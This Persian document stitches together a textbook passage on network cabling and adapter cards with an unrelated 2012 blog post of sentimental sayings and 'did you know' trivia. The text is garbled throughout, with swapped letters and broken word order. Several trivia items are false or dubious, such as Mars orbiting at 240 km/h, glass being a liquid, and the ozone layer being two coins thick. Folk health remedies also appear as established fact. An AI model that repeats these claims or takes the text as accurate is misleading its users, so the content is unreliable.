(UTP) زوج مارپیچ بدون حفاظ ♦
(STP) زوج مارپیچ حفاظ دار ♦
تصویر شماره ۶
تعدادی سیم زوج مارپیچ اغلب با یکدیگر گروه
بندی شده و در پوشش محافظ قرار می گیرند تا آابل
را تشکیل دهند . تعداد واقعی این زوجها در آاب لهای زوج
مارپیچ متغیر است !
١٠
(UTP) زوج مارپیچ بدون حفاظ
اصولا یک مسئله مهم برای تمام انواع آابلهای
شبکه مسئله نداخل امواج اطراف سیم (نویزها ) است این
وجود دارد و در مجموع آابلهای UTP امر به ویژه در آابلهای
استعداد بیشتری نسبت به آابلهای دیگری برای تداخل UTP
دارند ! این مسئله نیاز این آابلها را در محیطهای با
امواج الکتریکی به حفاظ قوی آشکار می سازد !
از متداول ترین UTP با این حال آابلهای
به علت LAN نوع آابل زوج مارپیچ می باشد و در شبکه های
راحتی نصب به وفور استفاده می گردد !
(STP) زوج مارپیچ حفاظ دار
از یک جلیقه بافته ای مسی با آیفیت تر STP آابلهای
استفاده می آند و همچنین یک پوشش زرورقی بین و دور UTP از
نسبت STP ! زوج مارپیچ داخلی زوجها را نیز دارا می باشد
در تداخل الکترویکی استعداد آمتری دارد و UTP به آابلهای
می تواند در مسافتهای طولانی تر وبا سرعتهای بیشتر مورد
استفاده قرار گیرد .
چند نکته در مورد آابلهای زوج مار پیچ :
LAN ١-) در صورتی آه نصب راحت و آسان را برای طراحی
بخواهیم و بودجه آافی در اختیار نداشته باشیم از
آابلهای زوج مارپیچ استفاده آنید
٢-) در صورتی آ ه در فواصل زیاد و سرعتهای بالا می خواهیم
از انتقال درست داده ها اطمینان داشته باشیم نباید از
زوج مارپیچ استفاده آنیم !
سخت افزار بست زوج مارپیچ
برای RJ - آابلهای زوج مارپیچ از بستهای تافن ۴۵
اتصال به آامپیوتر استفاده می آند این بست شبیه بست
می باشد ولی با آنکه در اولین نگاه شبیه به RJ - تلفن ١١
هشت بست آابلی RJ - نظر می رسند ولی تفاوتهایی دارند . ۴۵
فقط چهار بست قرار RJ- قرار می گیرد ولی در بستهای تلفن ١١
می گیرد !
١١
آابل های فیبر نوری
در آابل فیبر نوری و فیبر های نوری سیگنالهای
داده ای دیجیتال را به شکل پالسهای مروله شده نوری حمل می
نمایند این یک روش نسبتا ایمن برای ارسال داده ها می باشد
زیرا هیچ گونه ضربه ای الکتریکی ((سیگنالها )) در آابل
فیبر نوری خمل نمی شود این بدان معنا است آه آابل فیبر
نوری نمی تواند سوراخ شود و داده ها مانند آا بل مسی از
بین نمی روند !
فیبر نوری شامل استوانه بسیار نازک شیشه ای
بنام مغزوی است آه به وسیله لایه متحدالمرآز شیشهای
احاطه گردیده است آه گاهی اوقات از پلاستیک ساخته می
شوند همان گونه آه در شکل زیر می بینید فیبر نوری دارای
دو رشته سیم است ه ر رشته شیشه ای سیگنال را فقط در یک
جهت عبور می دهد به طوری آه آابل ششامل دو رشته در
جلیقه های مجزا می باشد . یک رشته می فرستد و یک رشته
تصویر شماره ٧
پالسهای نوری را دریافت می آند .
انتقالات آابل فیبر نوری مشکل تداخل الکتریکی ندارد و بی
ایت سریع هستند.
200000 )) آا می توانند یک سیگنال یا پالس Mbps 100 ت ا Mbps ))
نوری را آیلو مترها حمل نمایند .
١٢
آارتهای
آداپتور شبکه
نقش آارت آداپتور شبکه
آارتهای آداپتور شبکه به عنوان میانجی فیزیکی یا
رابط بین آامپیوتر و آابل شبکه عمل می آ نند . آارتها در
قسمت گسترش هر آامپیوتر و سرویس دهنده شبکه نصب می شوند
.
پس از آنکه آارت نصب گردید آابل شبکه به درگاه آارت
متصل می گردد تا ارتباط واقعی فیزیکی بین آامپیوتر و
باقیمانده شبکه را بر قرار سازد .
نقش آارت آداپتور شبکه :
آماده سازی داده های آامپی وتر برای انتقال به آابل ♦
شبکه
ارسال داده ها به آامپیوتر دیگر ♦
آنترل جریان داده ها بین آامپیوتر و سیستم آابل آشی . ♦
آارت آداپتور شبکه همچنین داده های وارد شونده را از آابل
CPU دریافت می آند و آنرا به با یتهایی تبدیل می آند آه
آامپیوتر میتواند بفهمد .
در بیا ن تکنیکی تر آارت آداپتور شبکه شامل سخت افزار و
برنا مه نویسی میان افزار (روتینهای نرم افزاری آه در
ذخیره شده )می باشد آه آنترل ROM حافظه فقط خواندنی یعنی
منطقی پیوند و آنترل دسترسی رسانه ها (در لایه پیوند داده
را پیاده سازی می نماید . OSI های مدل
آماده سازی داده ها
قبل از آنکه داده ها بتوانند از طریق شبکه
ارسال گردند آارت آداپتور شبکه باید آنرا از شکلی آه
آامپیوتر می فهمد به شکل دیگری آه بتواند از طریق آابل
شبکه حرآت نماید تغییر دهد.
داده ها از طریق آامپیوتر در طول مسیرهایی آه لو به لو
آنار هم قرار گرفته اند . چون چندین مسیر لو به لو می
باشند داده ها می توانند به جای آنکه در هر لحظه یکی
عبور نمایند بصورت گروهی با یکدیگر عبور آنند.
١٣
گذرگاههای قدیمی مانند گذرگاههایی آه در آامپیوتر شخصی
استفاده می گردیدند گذرگاههای ٨ بیتی بودند IBM اولیه
زیرا آا ٨ بیت داده را در یک لحظه (همزمان ) عبور می
دادند .
از گذرگاه ١۶ بیتی استفاده می آرد آه بدان معناست IBM PC/AT
١۶ بیت همزمان می توانند عبور نمایند . آامپیوتر های
زیادی از گذر گاههای ٣٢ بیتی استفاده می نمایند . وقتی
داده ها از گذرگاه آامپیوتر عبور م ی نمایند گفته می شود
بصورت موازی حرآت می آنند زیرا ١۶ یا ٣٢ بیت لو به لو
حرآت می نماید . گذرگاه ١۶ بیتی را بصورت بزرگراه ١۶
بانده با ١۶ اتومبیل آه لو به لو یکدیگر در حرآتند
(حرآت موازی ) و هر آدام یک بیت داده را حمل می نمایند
تصور آنید .
در آابل شبکه داده ها باید در جریان تک بیتی حرآت نمایند
. وقتی داده ها از آابل شبکه عبور می نمایند گفته می شود
بصورت انتقال سریال حرآت می نمایند زیرا هر بیت بدنبال
بیت دیگر جریان دارد . به عبارت دیگر آابل بزرگراه یک
بانده می باشد . داده ها دراین بزرگراهها همیشه در ه ر لحظه
فقط یک باند حرآت دارند . آامپیوتر یا داده ها را می
فرستد و یا دریافت آارت آداپتور شبکه عبور داده ها را
به صورت موازی و بشکل گروهی می گیرد وآا را طوری مجددا
ساختبندی می نماید آه از طریق مسیر سریال به نای ١ بیت
آابل شبکه جریان یابند اینکار با تب دیل سیگنالهای دیجیتال
آامپیوتر به سیگنا لهای نوری و الکتریکی آه می توانند از
طریق آابلهای شبکه حرآت نمایند انجام می گیرد . قطعه مسئول
اینکار فرستنده گیرنده می باشد .
١۴
آدرس شبکه
علاوه بر تبدیل داده ها آارت آداپتور شبکه محل
آارت یا آد رس را به باقیمانده شبکه نشان می دهد تا از
تمام آارتهای دیگر شبکه تمیز شود .
مخفف انستیوی مهندسین ) LEEE آدرسهای شبکه توسط آمیته
الکترونیک و الکتریک ) تعیین می گردد . آمیته بلوآهایی
از آدرسها را به هر یک از سازندگان آارت های
آداپتور شبکه اختصاص م ی دهد . سازندگان بطور سخت
افزاری این آدرسها را در چپ (تراشه) های روی آارت قرار
می دهند آه فرایند سوزاندن آدرس در آارت نامیده می شود
. با این فرایند “ هر آارت و در نتیجه هر آامپیوتر
آدرس منحصر بفردی در شبکه دارد .
آارت آداپتور شبکه نیز در چندین محل دیگر به منظور
گرفتن داده ها از آامپیوتر و آماده نمودن آا برای آابل
شبکه شرآت دارد .
١-آارت آداپتور شبکه و آامپیوتر باید برای حرآت داده ها
از آامپیوتر به آارت ارتباط برقرار نمایند . در
(D MA) آارتهایی آه می توانند از دسترسی مستقیم حافظه
بهرمند شوند آامپی وتر قسمتی از فضای حافظه خود را به
آارت آداپتور شبکه اختصاص می دهد .
٢-آارت آداپتور شبکه تقاضای داده های آامپیوتر را به
اطلاع آن می رساند (علامت می دهد) .
٣- گذرگاه آامپیوتر داده ها را از حافظه آامپیوتر به
آارت آداپتور شبکه حرآت می دهد .
داده ها اغلب می توانند سریعتر از آارت آداپتور شبکه ای
آه آا را اداره می آند حرآت نمایند به این دلیل داده ها
آارت فرستاده می شوند و در آنجا به طور موقت (RAM) به بافر
هم در ارسال و هم دریافت نگهداری می شوند .
ارسال و آنترل داده ها
فبل از آنکه آارت آداپتور شبکه عملا داده ها را به
شبکه ارسال نماید یک محاوره الکترونیکی با آارت گیرنده انجام
می دهد بطوریکه هر دو آارت با موارد ذیل موافق باشند :
حداآثر اندازه گروههای داده هایی آه باید ارسال گردند ♦
میزان داده های ارسالی قبل از تایید ♦
فواصل زمانی بین ارسال مقادیر بزرگ داده ها ♦
هر آارت قبل از سرریز شدن داده ها چه مقدار داده را ♦
می تواند نگه داری نماید .
١۵
سرعت انتقال داده ها ♦
اگر آارت جدیدتر سریعتر و پیچیده تر برای ارتباط با
مدل آهسته تر مورد نیاز باشد هر دو آارت نیاز به پیدا
آردن سرعت انتقال مشترآی آه هر یک می توانند انجام دهند
دارند . برخی از آارتهای آداپتور شبکه جدیدتر مداراتی
دارند آه اجازه می دهند آارت با سرعت آارت آهسته تر
تنظیم گردد.
هر آارت به آارت دیگر علامت می دهد آه پارامترهای خود
وپذیرش یا تنظیم باپارامترهای آارت دیگر را نشان دهد .
وقتی تمام جزئیات ارتباطی تعیین گر دید دو آارت شروع به
ارسال و دریافت داده ها می تمایند .

١۶

دانستنی ها و عجایب خواندنی جهان

آزاد روزفراخ — Sat, 21 Jan 2012 11:25:56 GMT

نویسنده:آزاد روزفراخ

چند حرف زیبا
ما واقعا تا چیزی رو از دست ندیم قدرشرو نمیدونیم ولیدر عین حال تا
. وقتی که چیزی رو دوباره به دست نیاریم نمیدونیم چیرو از دست دادیم
عشقت رو به کسیبدی تضمینیبر این نیست که او ھم اینکه تمام
ھمین کار رو بکنه پسانتظار عشق متقابل نداشته باش، فقط منتظر
باشتا اینکه عشق آروم تو قلبشرشد کنه و اگه این طور نشد خوشحال
.باشکه توی دل تو رشد کرده
ی رودر عرضیک دقیقه میشه یک نفر رو خرد کرد در یک ساعت میشه یک
دوست داشت و در یک روز میشه عاشق شد ، ولی یک عمر طول می کشه تا
.کسیرو فراموشکرد
دنبال نگاھھا نرو چون میتونن گولت بزنن، دنبال دارایینرو چون کم کم
افول میکنه ، دنبال کسیباشکه باعث بشه لبخند بزنی چون فقط با
کسی رو پیدا کن که تو رو شاد ، یک لبخند میشه یه روز تیره رو روشن کرد
.کنه
دقایقیتو زندگیھستن که دلت برای کسیاونقدر تنگ میشه که می
.خوای اونو از رویات بکشیبیرون و توی دنیای واقعیبغلشکنی
رویاییرو ببین که میخوای ، جایی برو که دوست داری ، چیزی باشکه می
شانسبرای اینکه ھر چیدوست خوای باشی ، چون فقط یک جون داری و یک
.داری انجام بدی
آرزو می کنم به اندازه ی کافی شادی داشته باشیتا خوشباشی ، به اندازه
.کافیبکوشی تا قوی باشی

به اندازه کافیاندوه داشته باشیتا یک انسان باقی بمونی و به اندازه
.کافی امید تا خوشحال بمونی
ا ٣٠٠ متر مکعب گاز ھلیم میتواند یک انسان راآیا میدانستید که تقریب
از روی زمین بلند کند
آیا میدانستید که کرمھای ابریشم در پنجاه وششروز ھشتاد و ششھزار -
برابر خود غذا میخورند
آیا میدانستید که تیز پروازترین حیوانات جھان پرندگانیاند که -
« نامیده میشوند پرستوک دم خاردار « ، که در آسیا زندگیمیکند پرستوک
قادر است با سرعتیبیشاز صد و شصت کیلومتر در ساعت پرواز کند و با
بالاترین میزان سرعت یک قطار سریعالسیر رقابت کند
آیا میدانستید که کره مریخ با سرعت ٢۴٠ کیلومتر درساعت به دور -
خورشید میچرخد
له بگیریم نیروی جاذبه کمترآیا میدانستید که ھرچه از مرکز زمین فاص -
می شود، در نتیجه وزن کاھشمییابد ، وزن فردی که در خط استوا ایستاده
از وزن ھمین شخصدر قطب شمال و جنوب کمتر است زیرا در خط استوا زمین
بر آمده تر و در قطب ھموارتر است این تفاوت وزن حدود پنج درصد است
کیتقریبا پنجاه ھزار سال در برابرآیا میدانستید که ظروف پلاستی -
تجزیه و فساد مقاومند
آیا میدانستید که رشد کودک در بھار بیشتر است -
آیا میدانستید که یک چھارم خاک روسیه در سال پوشیده از برف است -
آیا میدانستید حسبویاییه مورچه با حسبویاییه سگ برابری میکند -
ل ٨١ به طو یبا ٣٠ گرم طلا نخ - k/m توان درست کرد یم
به طول ۵٨ یخط یبا یک مداد معمول - k/m توان کشید یم
تواند جذبیت نیکوتین که یک آلکالوئید یدانستید آمونیاک میآیا م -
.برابر افزایشدھد ١٠٠ مغز تا یمخدرموجود در سیگار است را توسط سلولھا
وازده متر عصب و چھارآیا میدانستی که در یک سانتیمتر پوست شما د -
متر رگ و مویرگ وجود دارد
وجود - « کلسیم » آیا میدانستی که در تمام وجود شما بیشاز یک مشت گچ
دارد
ایا میدانستید که ھورمون - PYY مسئول چاقیاست . در تحقیقات مشخص
شده است که میزان این ھورمون در افراد چاق یک سوم افراد معمولیاست و
. این ھورمون به افراد چاق تزریق شود اشتھای انان کاھشمییابد چنانچه
افریقائی، بیآنکه سرشرا برگرداند ، می تواند پشتیموشدو پا -
برابر سیصد و شصت درجه یسرخود را ببیند این جانور ، از میدان دید
برخوردار است
.آیا میدانستید که زمان بارداری فیل به ٢ سال میرسد -
"آیا میدانستید که جنگ جھانیدوم خونین ترین جنگ بوده که در آن حدودا -
.پنجاه و ششمیلیون نفر جان باختند

میلیون کیلومتر مربع ۵١۵ ایا میدانستید که مساحت سطح کره زمین -
است .با مقایسه با مساحت وسعت ایران میتوان نتیجه گرفت که ایران
٣٢/ .میدھد از سطح زمین را تشکیل ٪ ٠
, معلق بابل , مجسمه زئوسیاھرام مصر , باغھا :یعجایب ھفتگانه تاریخ -
معبد دیانا , مجسمه آپولو
آرامگاه ماسولوس, فانوسدریای اسکندریه ,
آیا میدانستید که طولانیترین دوران پادشاھی بر اساسمدارک تاریخی -
و سیصد سال پیشازدو ھزار "متعلق به پادشاه مصر میباشد که تقریبا
میلاد در زمانی که نوزادی بیشنبود تاج گذاری کرد و سلطنت او نود و چھار
.سال بطول انجامید
یک پارادوکس -
سقراط گفته یونانی ھا دروغگو ھستند ولی خود سقراط ھم یونانیه پس
دروغ میگه که یونانیھا دروغ میگن پسیونانیھا راستگو ھستند و
ه یک یونانیه پسراستگوست پسراست میگه که یونانیھاسقراط ھم ک
؟! آخر یونانیھا دروغگواند یا راستگو...........دروغگو ھستند پس
میلیون اختراعات وجود دارد که 6 ایا میدانستید که در حال حاضر بیشاز -
.اختراع رکورد را در دست دارد 1093 توماسادیسون با
1 بار در 7.5 را (خط استوا) زمین ی یتواند دور کرهایا میدانستید نور م -
.کند یثانیه ط
الکترون معنای یونانیکھربا است کھربا ماده ای است که در مالشبه -
پارچه پشمیباردار شده و خرده ھای کوچک کاه را جذب می کنداین ربایش
بعلت نیروییمرموز اتفاق میافتد که یونانیان آن را الکتریسیته
.نامیده اند
یکی از شدیدترین نعره ھا در بین حیوانات به شیر آفریقایی تعلق -
شنیده میشود اسب آبی ھم جزء ینعره آنھا تا سه کیلومتر یدارد صدا
میباشد ، تا آنجا که حیوانات آبیدر ینعره بلند یحیواناتی ست که دار
دترین نعره ھازیر آب نعره آنھا رو میشنوند ولی با ھمه این اوصاف شدی
سیبلیمعادل دویست د یمتعلق به والھا می باشد آنھا میتوانند نعره ا
موتور یمقایسه بایستی بگویم که این نعره از صدا یتولید کند برا
.یک جت بیشتر میباشد
آیا میدانستید که شھر ممنوع واقع در پکن در کشور چین بزرگترین -
.ل ھفده قصر و پنج تالار میباشدقصر پادشاھیجھان است این قصر شام
..ش..ایا میدانستید که وقتییک نوزاد در حال گریه است با صدایش -
شما ارام خواھد شد و این به این دلیل صدای ابیاست که اطراف نوزاد را در دل
در ضمن این یکی از دلایلی است که چرا صدای ساحل دریا.مادر گرفته است
به انسان ارامشمیدھد
ایا میدانستید که چرا وقتی یک سیب گندیده را در بین سیب ھای -
دلیل این است که سیب.سالم قرار میدھیم بقیه سیب ھا ھم میگندند
گندیده یک نوع گاز ﴿ethylene) از خودشانتشار میدھد که باعث گندیدن
.بقیه سیب ھا میشود
زمین به خورشید ایا میدانستید که گرمیدر تابستان بخاطر نزدیکی -
﴾از شانسزمین تقریبا در دورترین فاصله خود به خورشید است﴿.نیست
.درجه کجیزمین است 23.5 بلکه بخاطر
.ایا میدانستید که لایه ازن فقط به اندازه دو سکه بروی ھم کلفتیدارد -
ایا میدانستید که اگر یک انسان سوراخیبه مرکز زمین و از انطرف تا طرف -
سرعت , دیگر زمین بکند و انگاه یک تکه سنگ درون ان سوراخ بیاندازد
سنگ با رسیدن به مرکز زمین زیاد میشود و با گذشتن از مرکز زمین
سرعتشکم میشود تا سطح زمین و این تا ابد بین دو سر سوراخ اتفاق
البته که این یک نظریه است و نمیتواند واقعیت داشته﴿ خواھد افتاد
﴾باشد
چرا اب دریا شور است؟ -
قسمتی از نمک موجود در اب دریا از طریق فعالیت ھای اتشفشانیزیر ابی
وارد ان میشود اما قسمت اعظم این نمک مربوط به فرسایشپوسته زمین
املاح معدنیموجود در خاک در اب باران حل میشود و از طریق .یا خاک است
گاه زمانی که بر اثر تابشنور خورشیدان.رودخانه ھا به دریاھا حمل میگردد
قسمتیاز اب دریا بخار میشود نمکی که در ان وجود دارد بر جای باقی
امروزه.میماند و این امر باعث میگردد که تراکم نمک موجود در اب افزایشیابد
در صد استکه بیشتر 3.5 میزان املاح معدنیموجود در اب دریاھای ازاد جھان
اید یا ھمان نمک طعامانرا سدیم کلر ﴿CINa) تشکیل میدھد
یکیاز حقایق اصلیزندگیروزمره ان است که اب و روغن با ھم در نمی -
﴾﴾روغن پایه﴿﴿ بیشتر ادویه جات تند از نطر ساختار شیمیایی.امیزند
بنابراین نوشیدن اب بروی دھانی که بر اثر خوردن فلفل یا ادویه.میباشد
بھترین راه حل برای بر طرف کردن.بیحاصل است تند به سوزشافتاد
تندی از دھان خوردن چیزی است که چربیرا به خور جذب کند و در این بین نان
یا ھر چیزی که نشاسته داشته باشد و در دسترسباشد نتیجه خوبی
ھر چند که .راه حل دیگر بعد از خوردن نان نوشیدن شیر است.بدست میدھد
است اما دارای ماده ای شبیه به پاک کننده ﴾﴾اب پایه﴿ شیر از لحاظ ساختار
﴿detergent) است که مانند صابون با روغن با چربیدر میامیزد و انرا
. میشوید و می برد
ایا میدانستید اشعه - X از بلور الماسعبور نمیکند و منعکسمیشود از
ن استفادهاین خاصیت میتوان در تشخیصالماسحقیقی از نوع بدل آ
.نمود
آیا میدانستی که طول تقریبیرود نیل که بزرگترین رود جھان است در -
کلیومتر است 6600 حدود
اولین بار که پول کاغذی را اسکناسنامیدند -
در ایران اسکناسما ، خود از کلمه « اسیکناچیا » روسیبوده و چون تلفظ آن
ا ساده کرده به آن اسکناسگفتندفارسیزبان کمیمشکل بوده آنر یبرا
شمسی 1269 توسط بانک شاھنشاھی ، در سال ، یاولین پول رسمی کاغذ .
« یمیلاد 1890 » ،شمسی طبق قانون 1309 در سال. در تھران انتشار یافت
حق انتشار اسکناساز بانک شاھنشاھی اخذ و به بانک ملیایران واگذار
یک تومان معادل ده قران . جاریه ، تومان بودواحد پول ایران در دوره قا . گردید
شمسیبموجب قانون احاد ، پول ایران 1308 و برابر ده ھزار دینار بود در سال
تغییر یافت و واحد پول به ریال تبدیل گردید د ولی ھنوز کلمه تومان به
. قوت خود باقیست و بمعنیده ریال بکار برده میشود
قبل از میلاد خبر 490 یکی از دوندگان در سال بر اساسیک داستان مشھور
وی پساز .پیروزی اتنیھا بر پارسیان در ماراتن را به شھر اتن رساند
امروزه به یادبود این.رساندن خبر از خستگی بر زمین افتاد و جان سپرد
دونده و دوی مرگ اور او در مسابقات دو و میدانیرشته ای به نام ماراتن
آیا - .کیلو متر را میدوند 42 که دوندگان مسافت برگزار میشود
میدانستید که دیوار چین دو ھزار و دویست سال پیشساخته شده است
که طول آن به دو ھزار و ھفتصد و ده کیلومتر و ارتفاع آن بین پنج تا نه متر
آیا میدانستی که طول - .آن به چھار و نیم متر میرسد یمیباشد و پھنا
کیلومتر است که ھزار کیلومترشدر طرف 7000 خزر در حدود یساحل دریا
.ایران است
ھر تکه کاغذ را نمیتوان بیشاز ٩ بار تا کرد
در ھرم خئوپوسدر مصرکه ٢۶٠٠ سال قبل از میلاد ساخته شده است به -
اندازه ای سنگ بکار رفته که میتوان با ان دیواری اجری به ارتفاع ۵٠ cm در
دور دنیا ساخت
۶٠٠ ثانیه تشکیل شده است - /۵۵٧/ آیا میدانستید که ھر سال از ٣١
آیا میدانستید که بیشترین ضربان قلب راقناریھا با ١٠٠٠ بار در -
دقیقه وکمترین را فیل با ٢٧ بار در دقیقه دارد
آیا میدانستید که سرعت صوت در فولاد ١۴ بار سریعتر از سرعت ان در -
ھواست
وقتیمگسبر روی یک میله فولادی مینشیند آیا میدانستید که -
میله فولادی به اندازه دو میلیونیم میلیمتر خم میشود
آیا میدانستید که عدد ٢۵٢٠ را میتوان بر اعداد ١ تا ١٠ تقسیم نود بدون -
انکه خارج قسمت کسری داشته باشد
یعیآیا میدانستید که شیشه در ظاھر جامد به نظر میرسدولیدر واقع ما -
است که بسیار کند حرکت میکند
آیا میدانستید یک لیتر سرکه درزمستان سنگینتراز تابستان است -
آیا میدانستید ٣٠ برابر مردمی که امروزه بر سطح زمین زندگیمیکنند -
در زیر خاک مدفون شده اند
بیلیون بیلیون الکترون به ۵٠٠٠ آیا میدانستید در ھر ثانیه بیشاز -
را که شما تماشا میکنید یتلویزیون بر خورد میکند و تصویر صفحه
اورد یبوجود م
- sos
کمکیاز مردم فکر میکنند که علامت بین الملل یبسیار (sos) از حروف اول
یعبارت انگلیس (save our souls) یا (save our ship) تشکیل شده است اما
چنین نیست sos د مورسبه یاد سپردنبه این دلیل انتخاب شده که در ک
اسان است یاین ترکیب نقطه ھا و خطھا خیل
s: . . .
o: - - -
sos= . . . - - - . . .
تلویزیونیجھان (شبکه انگلستان ی اولین شبکه - bbc ) ١٩٢٩ در سال
اولین بار در جھانیبرا ١٩٣٩ ازمایشیرا اغاز کرد و در سال یپخشبرنامه ھا
و دایمی شد این برنامه ھا منظم
آیا میدانستی گزنه برای درمان رماتیسم، درد کمر در ناحیة دمبالچه، درد -
لگن خاصره ( درد اعصاب کمر ) و نیز درمان بیماریھای مثانه، مجاری ادراری و
کلیه بسیار مفید است
ایا میدانستید ایا میدانستید درجه حرارت بالاترین قسمت یک شعله -
سد در حالی که پایین ترین قسمت ان فقط ٣٠٠ درجه حرارتبه ١۵۴٠ درجه میر
دارد
است یبقیه غیر نظام ٪ ۴٠ و یجھان نظام یاز ماھواره ھا ٪ ۶٠ ایا میدانید -
خوردن پنیر باگردو چه مزیتیدارد؟ -
در پنبر ماده ای به نام تیرامین وجود دارد که اگر در مغز جمع شود ، باعث این ماده توسط یک نوع آنزیم موجود در بدن انسان کندی ذھن میشود، البته
میتواند کاتابولیسم شود، ولیاین آنزیم تا حد مشخصیفعال می
،برای فعالیت بیشتر این آنزیم باید میزان مسرا در بدن زیاد کرد .باشد
به ھمین .و این کار با خوردن گردو که حاوی مقداری مساست ،انجام میدھند
.نی خوردن گردو به ھمراه پنیر توصیه شده استدلیل در متون دی
کشور چین میباشد ، چینیھا سالانه یآیا میدانستید زادگاه میوه کیو -
خودرو برداشت میکنند یاز بوته ھا یفقط دویست تن کیو
بلند یسالگ ۴٠ تا "و گاھا ٢۵ الی ٢٠ آیا میدانستید که قد انسان تا -
متر یقد انسان ھر دو سال حدود ششمیل به بعد یمیشود و از چھل سالگ
کوتاه میشود
: آیا میدانستید ده کشور پھناور جھان بترتیب از این قرار میباشد -
، روسیه ، کانادا ، چین ، آمریکا ، برزیل ، استرالیا ، ھند ، آرژانتین
قزاقستان ، سودان
.نى بودنظریه ھاى پزشکى تا دو قرن پیشبر نظرورزى ھاى صرفمبت -
.استدلال پزشکان در آن روزگار بر مبناى طبایع چھارگانه طب بقراطىبود
در این دیدگاه بدن انسانى از اخلاط چھارگانه یعنى « خون »، « بلغم »،
« صفرا » ( و (صفراى زرد « سودا » ( منشاء .تشکیل شده است (صفراى سیاه
لغم از مغز، صفراھریک از این اخلاط از ارگان خاصى است، مثلاً خون از قلب، ب
مادامى که این اخلاط چھارگانه در یک تعادل باشند .از کبد و سودا از طحال
نقش .شخصسالم است و اگر این تعادل به ھم بریزد بیمارى پدید مى آید
پزشکان اصلاح این تعادل بود که معمولاً توصیه ھایىمانند استراحت و
مى شد و اگر این اقدامات کارساز دستورات غذایى یا داروھاى گیاھى را شامل
نبود آنگاه اقدام به « فصد » .مى کردند
که در ھنگام فعالیت در بدن میسوزد یایا میدانستید که اولین ماده ا -
که میخواھند یکسان یھمین برا یبرا! یکربوھیدروتھا ھستند بعد چرب
ھا یردن چرباز نخو ( ... مثل نان و برنج و) لاغر شوند نخوردن کربوھیدرتھا
!!مھمتر است
ست و سومین قله بلند جھان استیآیا میدانستید قله دماوند ب -
اختراعات سالانه در آمریکا به پنجاه ھزار مورد در سال میرسد و در ژاپن -
سیھزار و آلمان و فراسنه و انگلیسھر یک ده ھزار مورد میرسد اما در صد
عه جھانیدر مجموع حدود پانصد اختراع واقعیو سی کشور در حال توس
تحقیقات و پژوھشو توسعه یکم رو یدارند دلیل این امر سرمایه گذار
است و متاسفانه تعداد کارکنان و متخصصین در بخشتحقیق و توسعه
صنعتییخیلی کمتر از ھزار نفر در ھر میلیون است در حالی که در کشورھا
نفر در ھر میلیون میرسد به دو ھزار و ششصد
میدانستید که یک شاھین مثل "در مورد دید حیوانات چه میدانید مثلا -
نگاه میکند د یک شاھین میتواند یاین است که دنیا را با یک دوربین قو
روزنامه بخواند شیر به تیز بینی انسان استیاز فاصله سیمتر "مثلا
تشخیصمیدھد فیلھا و یپانصد متر مثلا یک بز کوھیرا از فاصله ھزار و
کرگدنھا یا به عبارت دیگر گیاھخوارانیکه در سنین بزرگی و بلوغ از ھیچ
دشمنی ترسندارند ، قدرت دیدشان بسیار کم است ، آنھا از فاصله سی
که ثابت ایستاده یدیگر نمیتوانند فرقی بین یک بوته و گورخر یمتر
را به صورت مات میبینند بگذارند ، آنھا محیط اطراف خود ،
یک درخت جوان صنوبر را به ھم وصل کنیم یایا میدانستید اگر ریشه ھا
یک ساخه یکه طول ریشه ھا یدر حال.طول ان به دو یا سه متر خواھد رسید
!کیلو متر میرسد ٢٠ نیشکر به یمتر و طول ریشه ھا ۶٠٠ گندم به
دارد؟ چرا لوله زیر دستشوئی آشپزخانه خمیدگی -
ھمیشه خمیدگیداردد موقعی "لوله آبریز زیر ظرف شوئیآشپزخونه اصولا
این لوله بریزید ، آب از لوله پایین میرود و در خمیدگییتو یکه آب زیاد
اول وارد میشود و سپسبطرف بالا رفته و از خمیدگیدوم بطرف پایین می
زل میشود قسمت زیاد آب دررود و بعد از آنجا خارج شده و یا اینکه وارد چاه من
ھر بار از خمیدگیلوله عبور میکند ولیقسمت کمی از آن در خمیدگیلوله
باقیمیماند ، این باقیمانده بسیار مھم است زیرا نقشسرپوشیرا
یھوا "میکند که مابین لوله فاضلاب کار گذاشته باشند معمولا یباز
ممکن"میگیرد و ضمنا یبد یواقع در فاضلاب بعلت فساد فضولات بو
بدبوئیھم در فاضلاب وجود داشته باشد و اگر این گازھا از یاست گازھا
طریقی وارد خانه شوند شما را بیمار خواھند کرد ولیآن قسمت آبی که در
یاز نفوذ بو یخمیدگی لوله باقیمیماند مانند سرپوشیباعث جلوگیر
از ضرر گاز فاضلاب در امان بد فاضلاب بداخل خانه میشود و ھمچنین شما را
نگاه میدارد
چرا عقربه ساعتھا ساعتگرد میچرخد؟ -
،چرا جھت فعلی حرکت عقربه ھا :بھتر است سوال را به این صورت بپرسیم
به عنوان جھت استاندارد ساعت پذیرفته شده است؟ جواب این سوال را با
ی از اولینیک کلمه میتوان داد؛ ساعت آفتابی ، ساعت آفتابییک
ساعتھای مورد استفاده بشر به معنی واقعی آن بود؛ یعنی به جای اندازه
گیری یک بازه زمانیمثل ساعت شنییا آبیمی توانست به ھر لحظه روزه
یک زمان نسبتا مطلق ، نسبت بدھد و از این نظر، می توان آن را پدر
عرضھای میانیاین ساعت نخستین بار در .ساعتھای امروزی به حساب آورد
نیمکره شمالی که محل بیشتر تمدنھای باستان بود ابداع و به کار
در این عرضھا، خورشید ھمواره از جنوب میآید و بنابراین با .گرفته شد
توجه به حرکت شرق به غرب آن ، سایه یک شاخصدر طول روز، یک سیر
ه در حال حاضربه نظر میرسد دلیل انتخاب جھتی ک .ساعتگرد را میپیماید
به آن ساعتگرد می گوییم ، به عنوان جھت استاندارد حرکت عقربه ھای
در واقع ، اگر تمدنھای بشری سازنده تاریخ در .ساعت نیز ھمین باشد
.نیمکره جنوبیبودند، به احتمال زیاد الان عقربه ھا برعکسمی چرخیدند
شوند؟ یم دانید شاتل ھا از مغرب به مشرق فرستاده یآیا م -
کند به ھمین دلیل از سرعت زمین یزیرا زمین از مغرب به مشرق حرکت م
شود در غیر اینصورت شاتل به یپرتاب شاتل ھااستفاده م یبرا
٣٢٠٠km/h ١۶٠٠ یک.سرعت بیشتر نیاز داشت km/h یتا سرعت زمین را خنث
١۶٠٠ کند و یک km/h ٢٨٠٠٠ تا به سرعت km/h (.برسد
خودرا از یموشک ھا و شاتل ھا یفضای یصاحب تکنولوژ یآیا ھمه کشورھا. ٢
کنند؟ یکشور خودشان به فضا پرتاب م
از کشورھا از جمله روسیه و یزیرا بسیار . است یجواب این سوال منف
خود را به ترتیب از قزاقستان و گینه به یفرانسه که موشک ھا و شاتل ھا
انجام دادن این کار از داخل یمناسب را برا یکنند شرایط جو یفضا پرتاب م
شرایط مناسب یکه دارا یکشور خودشان ندارند به ھمین دلیل از کشورھای
.کنند یباشند استفاده م یم
